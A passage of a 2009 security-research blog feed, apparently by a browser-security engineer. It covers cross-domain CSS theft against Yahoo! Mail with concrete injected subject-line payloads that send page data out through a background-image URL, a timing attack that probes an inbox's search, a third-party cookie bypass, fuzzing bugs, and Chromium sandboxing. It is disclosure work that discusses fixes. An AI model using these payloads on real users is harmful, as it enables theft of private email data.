theft page.&lt;br /&gt;The issue is best introduced with an example. The example chosen is deliberately a little bit involved and not too severe. This is to give the upcoming browser updates a chance to get deployed.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Example: Yahoo! Mail cross-domain subject line theft and e-mail deletion&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;(It's important to note there is no apparent failing of the web app in question here).&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Step 1: E-mail your victim@yahoo.com with the subject line &amp;apos;);}&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Step 2: Wait a bit (assume that other e-mails are delivered to the victim at this time)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Step 3: E-mail your victim@yahoo.com with the subject line {}body{background-image:url(&amp;apos;http://google.com/ and include in the body: PLEASE CLICK &lt;a href="http://cevans-app.appspot.com/static/yahoocss.html"&gt;http://cevans-app.appspot.com/static/yahoocss.html&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Step 4: Mild profit if the victim clicks the link.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;If you set up the above scenario as a test, you might see something like this in an alert box upon clicking the link:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;url(http://google.com/%3C/a%3E%3Cbr/%3E%3Cspan%20class=%22j%22%3EChris%20Evans%3C/span%3E%3C/span%3E%3C/div%3E%3C/div%3E%3Cdiv%20class=%22h%22%3E%3Cdiv%20class=%22i%22%3E%3Cspan%3E%3Ca%20href=%22/p/mail/messageDetail?fid=Inbox&amp;amp;amp;&lt;b&gt;mid=1_3493_AGvHtEQAAWFgSgIzgAlWYQXHqDY&lt;/b&gt;&amp;amp;3=q%22%3E&lt;b&gt;Super%20sensitive%20subject&lt;/b&gt;%3C/a%3E%3Cbr/%3E%3Cspan%20class=%22j%22%3E&lt;b&gt;Chris%20Evans&lt;/b&gt;%3C/span%3E%3C/span%3E%3C/div%3E%3C/div%3E%3Cdiv%20class=%22h%22%3E%3Cdiv%20class=%22i%22%3E%3Cspan%3E%3Ca%20href=%22/p/mail/messageDetail?fid=Inbox&amp;amp;amp;mid=1_3933_AGTHtEQAAM%2FHSgIzawpE8Fwm1%2FI&amp;amp;5=x%22%3E)&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;The above text is stolen cross-domain, and the interesting pieces are highlighted in bold. The data includes the subjects, senders and "mid" value for all e-mails received between the two set-up e-mails we sent the victim.&lt;br /&gt;Although leaking of subjects and senders is not ideal, it's the "mid" value that interests us most as an attacker. This would &lt;i&gt;appear&lt;/i&gt; to be a secure / unguessable ID. Accordingly, it is reasonable for the mail application to rely on it as a distinct anti-XSRF token. This is indeed the case for the "delete" operation, implemented as a simple HTTP GET request. Interestingly, the "forward" operation seems to have an additional anti-XSRF token in the POST body, making the "mid" leak not nearly as serious as it could have been.&lt;br /&gt;&lt;br /&gt;That's how this whole attack proceeds in its most powerful form: leak a small amount of text cross-domain, and then bingo! if the leaked text happens to include a global anti-XSRF token.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;How does it work?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;It works by abusing the standards relating to the loading of CSS style sheets. Approximately, the standards are:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Send cookies on any load of CSS, including cross-domain.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;When parsing the returned CSS, ignore any amount of crap leading up to a valid CSS descriptor.&lt;/li&gt;&lt;/ul&gt;By controlling a little bit of text in the victim domain, the attacker can inject what appears to be a valid CSS string. It does not matter what proceeds this CSS string: HTML, binary data, JSON, XML. The CSS parser will ruthlessly hunt down any CSS constructs within whatever blob is pulled from the victim's domain. To the CSS parser, the text in the above attack looks like this:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;(some HTML junk; whatever){} body{background-image:url(&amp;apos;http://google.com/%3C/a...stolen stuff...&amp;apos;)}(some trailing HTML junk)&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;So, the background of the attacker's page will be styled with a background image loaded from an URL, the path of which contains stolen data! One lovely twist of using a CSS string which is an URL is that it will be automatically fetched even if JavaScript is turned off! The stolen data is then harvested by the attacker from their web server logs.&lt;br /&gt;Fortunately, there are various barriers to exploiting this:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Any newlines in the injected string break the CSS parse. This is a very common condition which stops potentially serious attacks.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;CSS strings may be quoted within the &amp;apos; or &amp;quot; characters. In a context where both of these are escaped (HTML escaped, URL escaped, whatever), it will not be possible to inject a CSS string.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The attacker needs control of two injection points: pre-string and post-string. For many sensitive pages, the attacker won't have sufficient influence over the page data via URL params or reflection of attacker data.&lt;/li&gt;&lt;/ul&gt;General areas that are more susceptible to this attack include:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;JSON / XML feeds (common lack of newlines; no requirement to escape " (JSON strings) or ' (XML text nodes)).&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Socially-related websites (the victim is always browsing attacker-controlled strings such as comments on their mundane photos, etc).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;How do we fix it?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;It would be nice to be able to not send cookies for cross-domain CSS loads; however that would certainly break stuff and it's hard to measure what without actually causing the breakage.&lt;br /&gt;&lt;br /&gt;It would be nice to be strict on the MIME type when loading CSS resources -- if not globally then at least for cross-domain loads. But this breaks high profile sites, *cough* configure.dell.com and text/plain *cough*. (To be fair, it gets much worse with many sites even using text/html, application/octet-stream, it goes on).&lt;br /&gt;&lt;br /&gt;A good balance is to require the alleged CSS to at least start with well-formed CSS, iff it is a cross-domain load and the MIME type is broken. This is the approach I used in my pending WebKit patch.&lt;br /&gt;&lt;br /&gt;Note that fixing this issue also fixes my previous attack of using cross-domain CSS to reliably tell if someone is logged in or not:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html"&gt;http://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Credits&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Aaron Sigel, for interesting discussions about using /* styled multi-line comments to bypass the newline restriction. Looks like it's not possible to recover comment text but we didn't test all the browsers.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Opera, for seemingly fixing this in v10.10 - although I don't know the exact heuristic used.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The WebKit and Mozilla communities for good feedback on approaches and patches.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-1981000830265264190?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/1981000830265264190/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=1981000830265264190' title='18 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1981000830265264190'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1981000830265264190'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html' title='Generic cross-browser cross-domain theft'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>18</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-2614411449887175096</id><published>2009-12-22T20:53:00.000-08:00</published><updated>2009-12-22T21:27:19.104-08:00</updated><title type='text'>Bypassing the intent of blocking "third-party" cookies</title><content type='html'>[Aside: I'm not sure anyone cares, particularly because the "block third party cookies" option tends to break legitimate web sites. But I'll document it just in case :)]&lt;br /&gt;&lt;br /&gt;Major browsers tend to have an option to block "third-party" cookies. The main intent of this is to disable tracking cookies used by iframe'd ads.&lt;br /&gt;&lt;br /&gt;It turns out that you can bypass this intent by abusing "HTML5 Local Storage". This modern browser facility is present in (at least) Firefox 3.5, Safari 4 and even the normally-lagging IE8. Chrome 4 Beta has it too, making it well supported across all browsers and a more tempting target.&lt;br /&gt;&lt;br /&gt;In concept, HTML5 Local Storage is very similar to cookies. On a per-origin basis, there is a set of disk-persisted name / value pairs.&lt;br /&gt;&lt;br /&gt;With a simple test, it's easy to show that the HTML5 Local Storage feature is not affected by the third-party cookie setting. I believe this holds across all the above browsers. A simple test page that gets / sets a name / value pair from within a third-party iframe may be located here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/misc/iframe_storage.html"&gt;http://scary.beasts.org/misc/iframe_storage.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;(This page also tests for a similar situation with HTML5 Web Database, but that is so far a less supported standard).&lt;br /&gt;&lt;br /&gt;What's interesting is that all these browsers &lt;i&gt;did&lt;/i&gt; remember to disable these persisted databases in their various private modes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-2614411449887175096?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/2614411449887175096/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=2614411449887175096' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2614411449887175096'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2614411449887175096'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/12/bypassing-intent-of-blocking-third.html' title='Bypassing the intent of blocking &quot;third-party&quot; cookies'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-3280053830492010781</id><published>2009-12-11T15:06:00.000-08:00</published><updated>2009-12-11T16:20:35.740-08:00</updated><title type='text'>Cross-domain search timing</title><content type='html'>I've been meaning to fiddle around with timing attacks for a while. I've had various discussions in the past about the significance of login determination attacks (including ones I found myself) and my usual response would be "it's all moot -- the attacker could just use a timing attack". Finally, here's some ammo to support that position. And -- actual cross-domain data theft using just a timing attack, as a bonus.&lt;br /&gt;&lt;br /&gt;Unfortunately, this is another case of the web being built upon broken specifications and protocols. There's nothing to stop domain &lt;code&gt;evil.com&lt;/code&gt; referencing resources on &lt;code&gt;some.sensitive.domain.com&lt;/code&gt; and timing how long the server takes to respond. For a &lt;code&gt;GET&lt;/code&gt; request, a good bet is the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag plus the &lt;code&gt;onerror()&lt;/code&gt; / &lt;code&gt;onload()&lt;/code&gt; events. For a &lt;code&gt;POST&lt;/code&gt; request, you can direct the post to an &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; element and monitor the &lt;code&gt;onload()&lt;/code&gt; event.&lt;br /&gt;&lt;br /&gt;Why should an evil domain be able to read timing information from any other domain? Messy. Actually, it's even worse than that. Even if the core web model didn't fire the relevant event handles for cross-domain loads, there would still be trouble. The attacker is at liberty to monitor the performance of a bunch of busy-loops in Javascript. The attacker then frames or opens a new window for the HTML page they are interested in. When performance drops, the server likely responded. When performance goes up again, the client likely finished rendering. That's two events and actually a leak of more information that the pure-event case.&lt;br /&gt;&lt;br /&gt;Moving on to something real. The most usable primitive that this gives the attacker is a 1-bit leak of information. i.e. was the request relatively fast or relatively slow? I have a little demo:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://cevans-app.appspot.com/static/ymailtimings.html"&gt;https://cevans-app.appspot.com/static/ymailtimings.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It takes a few seconds, but if I'm not logged into Yahoo! Mail, I see:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;DONE! 7 79 76 82&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;From the relatively flat timings of the last three timings (three different inbox searches) and the relative latency between the first number and the latter three, it's pretty clear I'm not logged in to Yahoo! Mail.&lt;br /&gt;&lt;br /&gt;If I'm logged in, I see:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;DONE! 10 366 414 539&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This is where things get interesting. I am clearly logged in because of the significant server latency inherent in a text search within the inbox. But better still, the last three numbers represent searches for the words &lt;b&gt;nosuchterm1234&lt;/b&gt;, &lt;b&gt;sensitive&lt;/b&gt; and &lt;b&gt;the&lt;/b&gt;. Even with a near-empty inbox, the server has at least a 40ms difference in minimum latency between a query for a word not in the index, and a query for a word in the index. (I mailed myself with &lt;b&gt;sensitive&lt;/b&gt; in the subject to make a clear point).&lt;br /&gt;&lt;br /&gt;There are many places to go from here. We have a primitive which can be used to ask cross-domain YES/NO questions about a victim's inbox. Depending on the power of the search we are abusing, we can ask all sorts of questions. e.g. "Has the victim ever mailed X?", "If so, within the past day?", "Does the word earnings appear in the last week?", "What about the phrase 'earnings sharply down'?" etc. etc. By asking the right YES/NO questions in the right order, you could reconstruct sentences.&lt;br /&gt;&lt;br /&gt;It's important to note this is &lt;b&gt;not&lt;/b&gt; a failing in any particular site. A particular site can be following current best practices and still be bitten by this. Fundamentally, many search operations on web sites are non-state-changing GETs or POSTSs and therefore do not need XSRF protection. The solution, of course, is to add it (and do the check before doing any work on the server like walking indexes)!&lt;br /&gt;&lt;br /&gt;&lt;i&gt;With thanks to Michal Zalewski for interesting debate and Christoph Kern for pointing out &lt;a href="http://portal.acm.org/citation.cfm?id=1242656"&gt;this ACM paper&lt;/a&gt;, which I haven't read but from the abstract it sounds like it covers some less serious angles of the same base attack.&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-3280053830492010781?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/3280053830492010781/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=3280053830492010781' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3280053830492010781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3280053830492010781'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/12/cross-domain-search-timing.html' title='Cross-domain search timing'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-4067892559216946529</id><published>2009-11-17T12:42:00.000-08:00</published><updated>2009-11-17T12:44:41.191-08:00</updated><title type='text'>vsftpd-2.2.2 released</title><content type='html'>Just a quick note that I released vsftpd-2.2.2.&lt;br /&gt;Most significantly, a regression was fixed in the inbuilt listener. Heavily loaded sites could see a session get booted out just after the initial connect. If you saw "500 OOPS: child died", that was probably this.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://vsftpd.beasts.org/"&gt;http://vsftpd.beasts.org/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-4067892559216946529?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/4067892559216946529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=4067892559216946529' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4067892559216946529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4067892559216946529'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/11/vsftpd-222-released.html' title='vsftpd-2.2.2 released'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-1466446272761847437</id><published>2009-11-02T22:22:00.000-08:00</published><updated>2009-11-02T23:04:03.411-08:00</updated><title type='text'>A new fuzz frontier: packet boundaries</title><content type='html'>Recently, I've been getting pretty behind on executing my various research ideas. The only sane thing to do is blog the idea in case someone else wants to run with it and pwn up a bunch of stuff.&lt;br /&gt;&lt;br /&gt;The general concept I'd like to see explored is perhaps best explained with a couple of concrete bugs I have found and fixed recently:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;b&gt;Dimensions error parsing XBM image&lt;/b&gt;. Welcome to the XBM image format, a veritable dinosaur of image formats. It's a textual format and looks a bit like this:&lt;br /&gt;&lt;pre&gt;#define test_width 8&lt;br /&gt;#define test_height 14&lt;br /&gt;static char test_bits[] = {&lt;br /&gt;0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,&lt;br /&gt;0x00, 0x60 };&lt;br /&gt;&lt;/pre&gt;The WebKit XBM parsing code includes this line, to extract the width and height:&lt;br /&gt;&lt;pre&gt;        if (sscanf(&amp;amp;input[m_decodeOffset], "#define %*s %i #define %*s %i%n",&lt;br /&gt;                   &amp;amp;width, &amp;amp;height, &amp;amp;count) != 2)&lt;br /&gt;            return false;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The XBM parser supports streaming (making render progress before you have the full data available), including streaming in the header. i.e. the above code will attempt to extract width and height from a partial XBM, and retry with more data if it fails. So what happens if the first network packet contains an XBM fragment of exactly the first 42 bytes of the above example? This looks like:&lt;br /&gt;&lt;pre&gt;#define test_width 8&lt;br /&gt;#define test_height 1&lt;br /&gt;&lt;/pre&gt;I think you can see where this is going. The &lt;code&gt;sscanf()&lt;/code&gt; sees two valid integers, and XBM decoding proceeds for an 8x1 image, which is incorrect. The real height, 14, had its ASCII representation fractured across a packet boundary.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;Out-of-bounds read skipping over HTML comments&lt;/b&gt;. This is best expressed in terms of part of the patch I submitted to fix it:&lt;br /&gt;&lt;pre&gt;--- WebCore/loader/TextResourceDecoder.cpp (revision 44821)&lt;br /&gt;+++ WebCore/loader/TextResourceDecoder.cpp (working copy)&lt;br /&gt;@@ -509,11 +509,13 @@ bool TextResourceDecoder::checkForCSSCha&lt;br /&gt; static inline void skipComment(const char*&amp; ptr, const char* pEnd)&lt;br /&gt; {&lt;br /&gt;     const char* p = ptr;&lt;br /&gt;+    if (p == pEnd)&lt;br /&gt;+      return;&lt;br /&gt;     // Allow &amp;lt;!--&amp;gt;; other browsers do.&lt;br /&gt;     if (*p == '&amp;gt;') {&lt;br /&gt;         p++;&lt;br /&gt;     } else {&lt;br /&gt;-        while (p != pEnd) {&lt;br /&gt;+        while (p + 2 &amp;lt; pEnd) {&lt;br /&gt;             if (*p == '-') {&lt;br /&gt;                 // This is the real end of comment, "--&amp;gt;".&lt;br /&gt;                 if (p[1] == '-' &amp;amp;&amp;amp; p[2] == '&amp;gt;') {&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;As can be seen, some simple bounds checking was missing. In order to trigger, the browser would need to find itself processing an HTML fragment ending in:&lt;br /&gt;&lt;pre&gt;&amp;lt;!--&lt;br /&gt;&lt;/pre&gt;(Where "ending in" means not necessarily the end of the HTML, but the end of the HTML that we have received &lt;i&gt;so far&lt;/i&gt;).&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;The general principle here? Software seems to have a lot of failure conditions with partial packets! This is unsurprising when you think about it; software is frequently trying to make progress based on partial information -- whether it's image or HTML parsers trying to show progress to the user, or network servers trying to extract a useful header or state transition from a short packet.&lt;br /&gt;Typical fuzzing may not be able to trigger these conditions. I've certainly fuzzed image codecs using local files as inputs. This would never exercise partial packet code paths.&lt;br /&gt;The best way to shake out these bugs is going to be to fuzz the packet boundaries at the same time as the packet data. Let me know if you find anything interesting :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-1466446272761847437?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/1466446272761847437/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=1466446272761847437' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1466446272761847437'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1466446272761847437'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/11/new-fuzz-frontier-packet-boundaries.html' title='A new fuzz frontier: packet boundaries'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-1464278841926466672</id><published>2009-10-19T23:03:00.000-07:00</published><updated>2009-10-20T20:01:10.561-07:00</updated><title type='text'>Chromium and Linux sandboxing</title><content type='html'>It was great to talk to so many people about Chromium security at HITB Malaysia. I was quite amused to be at a security conference and have a lot of conversations like:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Me&lt;/span&gt;: What browser do you use?&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Other&lt;/span&gt;: Google Chrome.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Me&lt;/span&gt;: Why is that?&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Other&lt;/span&gt;: Oh, it's so much faster.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Me&lt;/span&gt;: Oh, you saw that awesome JSNES, huh? (&lt;a href="http://benfirshman.com/projects/jsnes/"&gt;http://benfirshman.com/projects/jsnes/&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;It's a sobering reminder that users -- and even security experts -- are often making decisions on things like speed and stability. It was similar with vsftpd. I set out to build the most secure FTP server, but usage took off unexpectedly because of the speed and scalability.&lt;br /&gt;&lt;br /&gt;Julien talked about his clever Linux sandboxing trick that is used in the Chromium Linux port. One component of the sandbox is an empty &lt;code&gt;chroot()&lt;/code&gt; jail, but setting up such a jail is a pain on many levels. The problems and solutions are as follows:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;chroot()&lt;/code&gt; needs root privilege. Therefore, a tiny setuid wrapper binary has been created to execute sandboxed renderer processes. Some people will incorrectly bleat and moan about any new setuid binary, but the irony is that is it required to make your browser more secure. Also, a setuid binary can be made small and careful. It will only execute a specific trusted binary (the Chromium renderer) inside an empty jail.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;code&gt;exec()&lt;/code&gt;ing something from inside an empty jail is hard, because your view of the filesystem is empty. You could include copies of the needed dynamic libraries or a static executable but both of these are a maintenance and packaging nightmare. This is where Julien's clever tweak comes in. By using the &lt;code&gt;clone()&lt;/code&gt; flag &lt;code&gt;CLONE_FS&lt;/code&gt;, and sharing the FS structure between a trusted / privileged thread and the &lt;code&gt;exec()&lt;/code&gt;ed renderer, the trusted thread can call &lt;code&gt;chroot()&lt;/code&gt; and have it affect the unprivileged, untrusted renderer process post-exec. Neat, huh?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Other tricks such as &lt;code&gt;CLONE_NEWPID&lt;/code&gt; and &lt;code&gt;CLONE_NEWNET&lt;/code&gt; are used or will be used to prevent sending of signals from a compromised renderer, and network access.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;Finally, it is worth noting that sandboxing vs. risks on the web are widely misunderstood. The current Chromium sandbox mitigates Critical risk bugs to High risk bugs. This may be enhanced in the future. Since any bugs within the sandbox are still High risk, I of course take them very seriously and fix them as a priority. But, that lowering of a certain percentage of your bugs away from Critical risk is really key. The vast majority of web pwnage out there is enabled by Critical risk bugs (i.e. full compromise of user account =&gt; ability to install malware), so mitigating any of these down to High is a huge win. It's easy to get excited about any security bug, we as an industry really need to get more practical and concentrate on the ones actually causing damage.&lt;br /&gt;&lt;br /&gt;Attacking this point from another angle: &lt;i&gt;any&lt;/i&gt; complicated software will inevitably have bugs, and a certain subset of bugs are security bugs. Note that any web browser is certainly a complicated piece of software :) Therefore, any web browser is always going to be having security bugs. And indeed, IE, Opera, Firefox, Safari and Chrome are issuing regular security updates. For some reason, the media reports on each and every patch as if it is a surprising or relevant event. The real question, of course, is what you do in the face of the above realization. The Chromium story is two powerful mitigations: sandboxing to reduce severity away from Critical, and a very fast and agile update system to close any window of risk.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-1464278841926466672?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/1464278841926466672/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=1464278841926466672' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1464278841926466672'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1464278841926466672'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/10/chromium-and-linux-sandboxing.html' title='Chromium and Linux sandboxing'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-7671497227293414283</id><published>2009-10-18T21:17:00.000-07:00</published><updated>2009-10-18T21:19:03.164-07:00</updated><title type='text'>vsftpd-2.2.1 released</title><content type='html'>Nothing too exciting, just two regressions fixed: "pasv_address" should work again, and SSL data connections should no longer fail after a long previous transfer or an extended idle period.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-7671497227293414283?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/7671497227293414283/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=7671497227293414283' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/7671497227293414283'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/7671497227293414283'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/10/vsftpd-221-released.html' title='vsftpd-2.2.1 released'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-6139416392832279731</id><published>2009-10-13T08:22:00.000-07:00</published><updated>2009-10-13T08:34:02.072-07:00</updated><title type='text'>HITB Malaysia 2009 and sandboxing</title><content type='html'>No time for details at the moment, but I'm just back from &lt;a href="http://conference.hackinthebox.org/"&gt;HITB Malaysia&lt;/a&gt; and a great time was had by all! The hospitality and warmth of the organizing crew surpassed anything I've ever encountered before.&lt;br /&gt;&lt;br /&gt;I presented with my colleague Julien Tinnes. See awesome blog:&lt;br /&gt;&lt;br /&gt;&lt;a 